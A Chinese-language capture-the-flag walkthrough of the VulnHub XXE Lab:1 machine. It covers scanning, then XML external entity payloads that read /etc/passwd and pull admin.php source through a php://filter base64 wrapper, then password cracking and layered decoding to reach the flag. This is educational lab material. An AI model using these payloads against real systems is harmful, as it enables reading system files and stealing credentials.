vulnhub-XXE Lab:1

环境

项目地址:https://www.vulnhub.com/entry/xxe-lab-1,254/
攻击机 kali:172.16.17.140
靶机:172.16.17.141

信息收集

nmap扫一下,只开了80端口应该是这个

详细扫描

robots.txt存在两个禁止爬取的目录

admin.php无法访问

XXE目录直接跳转到一个登录页面

扫描一下目录

扫出来的目录都在xxe下面

fuzz

对功能点进行测试 /xxe
xxe,登录点抓包

使用xml传递数据,结合靶场名字,此处应该存在xml实体注入

构造payload


存在xml注入漏洞,但是通过需要找到flag

1
2
3
4
<?xml version="1.0" ?> <!DOCTYPE r 
[ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>hj</password></root>
  • 构造伪协议读取/admin.php
    base64编码防止php代码被执行
    1
    2
    3
    4
    <?xml version="1.0" ?> <!DOCTYPE r [ 
    <!ELEMENT r ANY > <!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
    ]>
    <root><name>&sp;</name><password>hj</password></root>

登录

  • base64解码
    读取到账号密码

  • 登录
    密码是md5加密,解密出来

发现无法登录

继续查看admin.php源码发现还有一个路径,flag this here

访问,存在文件但是无任何回显

绕来绕去的解码

用上面的payload读取源码

解码出来,flag在这里,明显又是编码过的

密文32位,猜测是base32

又是编码过的,看到=直接丢base64,一个小技巧,base64末尾有=,base32没有

这个文件应该是flag了,用上面的payload读取

再解码

看到$,猜测为php代码混淆过后的,拿去运行
最后在运行报错中找到flag